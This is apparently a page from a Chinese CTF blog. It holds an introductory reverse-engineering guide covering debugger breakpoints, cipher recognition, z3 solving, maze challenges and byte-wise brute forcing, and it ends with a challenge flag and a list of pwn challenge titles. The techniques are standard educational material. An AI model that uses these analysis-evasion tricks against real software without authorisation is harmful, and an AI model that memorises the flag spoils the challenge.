c#: assembly-CSharp.dll
动态调试
int3中断
最常用的中断类型,直接将中断位置的汇编改为
int3,可以被crc检测到
内存读写中断
将当前位置的可读可写权限进行更改,当当前位
置被访问或更改的时候断下来
硬件断点
根据cpu提供的cr*寄存器进行断点,不会被crc检

常用技巧
在等待外部输入时断下来,可以断在scanf等输
入函数内部,通过层层返回父函数至程序主逻辑
处。
对输入的字符下硬件断点只观察对输入的检测或
更改操作简化分析、也可通过对输入的更改进行
猜测函数的作用
加密算法识别
加解密 
常见编码:如Base64 注意是否换表、utf-8、
unicode等
对称加密:TEA、XTEA、XXTEA、RC4、
blowfish、aes、des等、可以用ida findcrypt插
件识别常见算法。同时注意常规的加密算法是否
被魔改
非对称加密:rsa
有时候也会有万进制之类的大数计算
自定义的加密要自己设计解密算法
方程组求解问题用python z3库约束求解
迷宫问题
获取正确的迷宫Map 注意起点、终点以及障碍物
分析迷宫的走法 : 不一定都是wasd 单步走
注意是否为多层迷宫
其他游戏贪吃蛇、数独、数织等等..
tips
在解决算法逆向是 尽量使用c语言还原 (数据类型一定要与加密时一
致)。同时要注意数据是 有符号还是无符号的
有时候如果明文空间不大的话 可以采用爆破的
方式。对单个字节进行加密并没有进行字符间的
混淆操作可以对密文进行逐字节爆破。
可能通过loadlibrary + GetProcAddress的方式
隐式调用。也可以通过对程序名进行hash后通过
hash验证来隐式调用库函数。
查看AndroidManifest.xml 中 \<application> 元
素中是否包含了 android:debuggable="true"
begin{0kay_1_thiNK_YoU_Ar3_a1Re@DY_rE4D_6uiDe8ooK_AnD_9OT_FL46}
CATALOG
  1. 1. pwn
    1. 1.1. one_byte
    2. 1.2. unhappy
    3. 1.3. gift_rop
    4. 1.4. no_money
    5. 1.5. ezpwn
    6. 1.6. zeheap
    7. 1.7. cat
    8. 1.8. aladdin
  2. 2. misc
    1. 2.1. real check in
  3. 3. Forensics
    1. 3.1. 逆向工程(reverse)入门指南